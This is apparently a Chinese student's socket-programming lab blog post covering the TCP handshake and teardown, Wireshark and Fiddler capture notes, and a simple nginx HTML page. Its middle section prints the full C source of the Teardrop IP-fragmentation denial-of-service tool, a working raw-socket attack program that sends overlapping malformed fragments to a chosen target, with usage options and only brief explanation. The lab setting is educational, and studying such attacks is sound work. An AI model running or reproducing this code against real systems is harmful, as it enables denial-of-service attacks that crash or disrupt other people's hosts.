• SOCKET实战


    一、TCP

    1.TCP的连接建立

    原理图:

    假定主机 A 是 TCP 客户端,B是服务端。最初两端的 TCP 进程都处于 CLOSED 状态。图中在主机下面的是 TCP进程所处的状态。A 是主动打开连接,B 是被动打开连接。

    1.1三次握手过程分析

    (1)首先A向B发出连接请求报文段,这时首部中的同步位SYN=1,同时选择一个初始序号 seq=x。TCP规定,SYN报文段不能携带数据,但要消耗掉一个序号。这时,A进入SYN-SENT状态。【备注:序号指的是 TCP 报文段首部20字节里的序号,TCP 连接传送的字节流的每一个字节都按顺序编号,具体可以看看 TCP 可靠传输实现的原理】
    (2)B收到请求后,向A发送确认。在确认报文段中把SYN和ACK位都置为1,确认号是ack=x+1,同时也为自己选择一个初始序号seq=y。请注意,这个报文段也不能携带数据,但同样要消耗掉一个序号。这时B进入SYN-RCVD状态。
    (3)A收到B的确认后,还要向B给出确认。确认报文段的ACK置为1,确认号ack=y+1,而自己的序号seq=x+1。这时,TCP连接已经建立,A进入ESTABLISHED 状态,当B收到A的确认后,也会进入 ESTABLISHED 状态。
    分析
    第一次握手:客户端->服务器
    (ACK=0;SYN=1)
    第二次握手:服务器->客户端
    (ACK=1;SYN=1)
    第三次握手:客户端->服务器
    (ACK=1;SYN=0)

    1.2TCP连接释放

    原理图:

    1.3四次握手过程分析

    数据传输结束后,通信的双方都可以释放连接,并停止发送数据。假设现在客户端和服务端都处于ESTABLISHED状态。
    (1)客户端 A 的 TCP 进程先向服务端发出连接释放报文段,并停止发送数据,主动关闭 TCP 连接。释放连接报文段中 FIN=1,序号为 seq=u,该序号等于前面已经传送过去的数据的最后一个字节的序号加1。这时,A进入 FIN—WAIT-1 (终止等待1)状态,等待 B 的确认。TCP 规定,FIN报文段即使不携带数据,也要消耗掉一个序号。这是 TCP 连接释放的第一次挥手。
    (2)B收到连接释放报文段后即发出确认释放连接的报文段,该报文段中,ACK=1,确认号为ack=u+1,其自己的序号为v,该序号等于B前面已经传送过的数据的最后一个字节的序号加1。然后B进入CLOSE—WAIT(关闭等待)状态,此时TCP服务器进程应该通知上层的应用进程,因而A到B这个方向的连接就释放了,这时TCP处于半关闭状态,即A已经没有数据要发了,但B若发送数据,A仍要接受,也就是说从B到A这个方向的连接并没有关闭,这个状态可能会持续一些时间。这是TCP连接释放的第二次挥手。
    (3)A收到B的确认后,就进入了FIN—WAIT(终止等待2)状态,等待B发出连接释放报文段,如果B已经没有要向A发送的数据了,其应用进程就通知TCP释放连接。这时B发出的链接释放报文段中,FIN=1,确认号还必须重复上次已发送过的确认号,即ack=u+1,序号seq=w,因为在半关闭状态B可能又发送了一些数据,因此该序号为半关闭状态发送的数据的最后一个字节的序号加1。这时B进入LAST—ACK(最后确认)状态,等待A的确认,这是TCP连接的第三次挥手。
    (4)A收到B的连接释放请求后,必须对此发出确认。确认报文段中,ACK=1,确认号ack=w+1,而自己的序号seq=u+1,而后进入TIME—WAIT(时间等待)状态。这时候,TCP连接还没有释放掉,必须经过时间等待计时器设置的时间2MSL后,A才进入CLOSED状态,时间MSL叫做最长报文寿命,RFC建议设为2分钟,因此从A进入TIME—WAIT状态后,要经过4分钟才能进入到CLOSED状态,而B只要收到了A的确认后,就进入了CLOSED状态。二者都进入CLOSED状态后,连接就完全释放了,这是TCP连接的第四次挥手。
    分析
    第一次:客户端->服务器
    (ACK=1;FIN=1)
    第二次:服务器->客户端
    (ACK=1;FIN=0)
    第三次:服务器->客户端
    (ACK=1;FIN=1)
    第四次:客户端->服务器
    (ACK=1;FIN=0)

    1.4wireshark对游戏服务器抓包分析

    1.4.1打开之前的金庸游戏客户端连接服务器时

    第一次握手:

    第二次握手:

    第三次握手:

    1.4.2断开服务器

    关闭客户端后接着抓包

    第一次握手:

    第二次握手:

    第三次握手:

    第四次握手:

    1.5安装fiddler抓包分析

    1.5.1安装教程

    参考:https://blog.csdn.net/ychgyyn/article/details/82154433

    1.5.2抓包分析

    抓取HTTPS包分析

    打开火狐浏览器,访问百度随后打开fiddler结果如下:

    分析结果如下:

    二、Teardrop代码编程

    2.1Teardrop攻击

    Teardrop攻击是一种畸形报文攻击。原理是向攻击者发送的多个分片的IP包,由于操作系统会将分开的IP包重新组合,系统收到偏移量错误IP包然后组合,导致数据异常。

    2.2代码

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <errno.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else  
    /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF 0x2000  /* More IP fragment en route */
    #define IPH 0x14    /* IP header size */
    #define UDPH 0x8     /* UDP header size */
    #define PADDING  0x1c    /* datagram frame padding for first packet */
    #define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                            * withstand maybe 5 or 10 sometimes...  Experiment.*/
                        
    
    void usage(u_char *);
    u_long name_resolve(u_char *);
    void send_frags(int, u_long, u_long, u_short, u_short);
    
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        // 定义源地址和目的地址
        u_long src_ip = 0, dst_ip = 0;
        // 定义源端口和目的端口
        u_short src_prt = 0, dst_prt = 0;
        // 定义一个32位的IPv4地址
        struct in_addr addr;
        printf("teardrop route|daemon9
    
    ");
        //创建原始套接字
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            fprintf(stderr, "raw socket");
            exit(1);
        }
        //设置套接字选项IP_HDRINCL
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
        (char *)&one, sizeof(one))< 0)
        {
            fprintf(stderr, "IP_HDRINCL");
            exit(1);
        }
        if (argc < 3)
            usage(argv[0]);
        // 设置源IP 和 目的IP
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?
    ");
            exit(1);
        }
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's': // source port (should be emphemeral)
                src_prt = (u_short)atoi(optarg);
                break;
                case 't': // dest port (DNS, anyone?)
                dst_prt = (u_short)atoi(optarg);
                break;
                case 'n': // number to send
                count = atoi(optarg);
                break;
                default :
                usage(argv[0]);
                break; // NOTREACHED
            }
        }
        srandom((unsigned)(utimes("0",(time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)
        count = COUNT;
        printf("Death on flaxen wings:
    ");
        addr.s_addr = src_ip;
        printf("From: %15s.%5d
    ", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        printf(" To: %15s.%5d
    ", inet_ntoa(addr), dst_prt);
        printf(" Amt: %5d
    ", count);
        printf("[
     ");
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            // printf("b00m ");
            usleep(500);
        }
        printf("]
    ");
        return (0);
    }
    
    
    // 设置 IP 包的内容
    void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
        u_char byte; // a byte
        // 套接字地址结构
        struct sockaddr_in sin; /* socket protocol structure */
        sin.sin_family = AF_INET;
        sin.sin_port = src_prt;
        sin.sin_addr.s_addr = dst_ip;
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr = packet;
        flag = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        // IP version and header length
        byte = 0x45;
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2; // IP TOS (skipped)
        // total length
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242); // IP id
        p_ptr += 2;
        //IP frag flags and offset
        *((u_short *)p_ptr) |= FIX(IP_MF);
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40; // IP TTL
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        // IP checksum filled in by kernel
        p_ptr += 4;
        // IP source address
        *((u_long *)p_ptr) = src_ip;
        p_ptr += 4;
        // IP destination address
        *((u_long *)p_ptr) = dst_ip;
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt); // UDP source port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(PADDING); // UDP total length
        p_ptr += 4;
        
        // 发送数据:Fake News
        *((u_short *)p_ptr) = 0x46;
        p_ptr++;
        *((u_short *)p_ptr) = 0x61;
        p_ptr++;
        *((u_short *)p_ptr) = 0x6B;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x20;
        p_ptr++;
        *((u_short *)p_ptr) = 0x4E;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x77;
        p_ptr++;
        *((u_short *)p_ptr) = 0x73;
    
        int i=1;
        while(i <= 56)
        {
    	printf("%x	",*flag);
    	flag++;
            if(0 == i%8)
    	    printf("
    ");
            i++;
        }
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "
    sendto");
            free(packet);
            exit(1);
        }
        // IP total length is 2 bytes into the header
        p_ptr = &packet[2];
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        // IP offset is 6 bytes into the header
        p_ptr += 4;
        *((u_short *)p_ptr) = FIX(MAGIC);
        if (sendto(sock, packet, IPH+MAGIC+1, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "
    sendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    
    // 获取主机信息
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    
    void usage(u_char *name)
    {
        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]
    ",name);
        exit(0);
    }
    
    

    2.3编译运行抓包分析

    三、SOCKET应用实例

    树莓派已坏无法进行验证。。。。

    四、使用html完成一个静态网页

    4.1在ubuntu下安装ngnix

    参考:https://www.cnblogs.com/gede/p/11011693.html

    4.2创建一个html文件index

    代码:

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>Page Title</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" type="text/css" media="screen" href="main.css" />
        <script src="main.js"></script>
    </head>
    <body>
        <h1>谨此</h1>
        <p>永远怀念黑曼巴</p>
        <img src="F:workspacevscodehtmlimagesindex.jpg">
        <br><br><br>
        <a href="https://www.bilibili.com/video/BV1jy4y1U7m6?from=search&seid=4937962384023275174">告别科比</a>
        <br><br><br>
        <a href="ww.rar">下载ww.txt 文本</a>
    </body>
    </html>
    

    运行结果如下:

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  • 原文地址:https://www.cnblogs.com/Zzxin/p/14091367.html
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